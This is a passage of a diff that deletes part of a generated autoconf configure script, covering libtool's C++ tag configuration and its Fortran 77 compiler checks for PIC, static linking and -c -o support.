- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_CXX=
-if test -n "$hardcode_libdir_flag_spec_CXX" || \
- test -n "$runpath_var_CXX" || \
- test "X$hardcode_automatic_CXX" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_CXX" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, CXX)" != no &&
- test "$hardcode_minus_L_CXX" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_CXX=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_CXX=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_CXX=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_CXX" >&5
-$as_echo "$hardcode_action_CXX" >&6; }
-
-if test "$hardcode_action_CXX" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_CXX \
- CC_CXX \
- LD_CXX \
- lt_prog_compiler_wl_CXX \
- lt_prog_compiler_pic_CXX \
- lt_prog_compiler_static_CXX \
- lt_prog_compiler_no_builtin_flag_CXX \
- export_dynamic_flag_spec_CXX \
- thread_safe_flag_spec_CXX \
- whole_archive_flag_spec_CXX \
- enable_shared_with_static_runtimes_CXX \
- old_archive_cmds_CXX \
- old_archive_from_new_cmds_CXX \
- predep_objects_CXX \
- postdep_objects_CXX \
- predeps_CXX \
- postdeps_CXX \
- compiler_lib_search_path_CXX \
- archive_cmds_CXX \
- archive_expsym_cmds_CXX \
- postinstall_cmds_CXX \
- postuninstall_cmds_CXX \
- old_archive_from_expsyms_cmds_CXX \
- allow_undefined_flag_CXX \
- no_undefined_flag_CXX \
- export_symbols_cmds_CXX \
- hardcode_libdir_flag_spec_CXX \
- hardcode_libdir_flag_spec_ld_CXX \
- hardcode_libdir_separator_CXX \
- hardcode_automatic_CXX \
- module_cmds_CXX \
- module_expsym_cmds_CXX \
- lt_cv_prog_compiler_c_o_CXX \
- exclude_expsyms_CXX \
- include_expsyms_CXX; do
-
- case $var in
- old_archive_cmds_CXX | \
- old_archive_from_new_cmds_CXX | \
- archive_cmds_CXX | \
- archive_expsym_cmds_CXX | \
- module_cmds_CXX | \
- module_expsym_cmds_CXX | \
- old_archive_from_expsyms_cmds_CXX | \
- export_symbols_cmds_CXX | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_CXX
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_CXX
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_CXX
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_CXX
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_CXX
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_CXX
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_CXX
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_CXX
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_CXX
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_CXX
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_CXX
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_CXX
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_CXX
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_CXX
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_CXX
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_CXX
-archive_expsym_cmds=$lt_archive_expsym_cmds_CXX
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_CXX
-module_expsym_cmds=$lt_module_expsym_cmds_CXX
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_CXX
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_CXX
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_CXX
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_CXX
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_CXX
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_CXX
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_CXX
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_CXX
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_CXX
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_CXX
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_CXX
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_CXX
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_CXX
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_CXX
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_CXX
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_CXX
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_CXX"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_CXX
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_CXX
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_CXX
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_CXX
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC=$lt_save_CC
-LDCXX=$LD
-LD=$lt_save_LD
-GCC=$lt_save_GCC
-with_gnu_ldcxx=$with_gnu_ld
-with_gnu_ld=$lt_save_with_gnu_ld
-lt_cv_path_LDCXX=$lt_cv_path_LD
-lt_cv_path_LD=$lt_save_path_LD
-lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld
-lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld
-
- else
- tagname=""
- fi
- ;;
-
- F77)
- if test -n "$F77" && test "X$F77" != "Xno"; then
-
-ac_ext=f
-ac_compile='$F77 -c $FFLAGS conftest.$ac_ext >&5'
-ac_link='$F77 -o conftest$ac_exeext $FFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_f77_compiler_gnu
-
-
-archive_cmds_need_lc_F77=no
-allow_undefined_flag_F77=
-always_export_symbols_F77=no
-archive_expsym_cmds_F77=
-export_dynamic_flag_spec_F77=
-hardcode_direct_F77=no
-hardcode_libdir_flag_spec_F77=
-hardcode_libdir_flag_spec_ld_F77=
-hardcode_libdir_separator_F77=
-hardcode_minus_L_F77=no
-hardcode_automatic_F77=no
-module_cmds_F77=
-module_expsym_cmds_F77=
-link_all_deplibs_F77=unknown
-old_archive_cmds_F77=$old_archive_cmds
-no_undefined_flag_F77=
-whole_archive_flag_spec_F77=
-enable_shared_with_static_runtimes_F77=no
-
-# Source file extension for f77 test sources.
-ac_ext=f
-
-# Object file extension for compiled f77 test sources.
-objext=o
-objext_F77=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code=" subroutine t\n return\n end\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code=" program t\n end\n"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${F77-"f77"}
-compiler=$CC
-compiler_F77=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5
-$as_echo_n "checking if libtool supports shared libraries... " >&6; }
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5
-$as_echo "$can_build_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5
-$as_echo_n "checking whether to build shared libraries... " >&6; }
-test "$can_build_shared" = "no" && enable_shared=no
-
-# On AIX, shared libraries and static libraries use the same namespace, and
-# are all built from PIC.
-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
- postinstall_cmds='$RANLIB $lib'
- fi
- ;;
-aix4* | aix5*)
- if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
- test "$enable_shared" = yes && enable_static=no
- fi
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5
-$as_echo "$enable_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5
-$as_echo_n "checking whether to build static libraries... " >&6; }
-# Make sure either enable_shared or enable_static is yes.
-test "$enable_shared" = yes || enable_static=yes
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5
-$as_echo "$enable_static" >&6; }
-
-GCC_F77="$G77"
-LD_F77="$LD"
-
-lt_prog_compiler_wl_F77=
-lt_prog_compiler_pic_F77=
-lt_prog_compiler_static_F77=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_static_F77='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_F77='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_F77='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_F77='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_F77='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared_F77=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_F77=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_F77='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic_F77='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl_F77='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_F77='-Bstatic'
- else
- lt_prog_compiler_static_F77='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_F77='-qnocommon'
- lt_prog_compiler_wl_F77='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_F77='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl_F77='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_F77='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static_F77='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl_F77='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-fpic'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl_F77='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl_F77='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl_F77='-Qoption ld ';;
- *)
- lt_prog_compiler_wl_F77='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl_F77='-Qoption ld '
- lt_prog_compiler_pic_F77='-PIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic_F77='-Kconform_pic'
- lt_prog_compiler_static_F77='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_can_build_shared_F77=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic_F77='-pic'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared_F77=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_F77" >&5
-$as_echo "$lt_prog_compiler_pic_F77" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_F77"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works... " >&6; }
-if ${lt_prog_compiler_pic_works_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_F77=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_F77"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_F77=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_F77" >&5
-$as_echo "$lt_prog_compiler_pic_works_F77" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_F77" = xyes; then
- case $lt_prog_compiler_pic_F77 in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_F77=" $lt_prog_compiler_pic_F77" ;;
- esac
-else
- lt_prog_compiler_pic_F77=
- lt_prog_compiler_can_build_shared_F77=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_F77=
- ;;
- *)
- lt_prog_compiler_pic_F77="$lt_prog_compiler_pic_F77"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_F77 eval lt_tmp_static_flag=\"$lt_prog_compiler_static_F77\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_F77=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_F77=yes
- fi
- else
- lt_prog_compiler_static_works_F77=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_F77" >&5
-$as_echo "$lt_prog_compiler_static_works_F77" >&6; }
-
-if test x"$lt_prog_compiler_static_works_F77" = xyes; then
- :
-else
- lt_prog_compiler_static_F77=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_F77=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
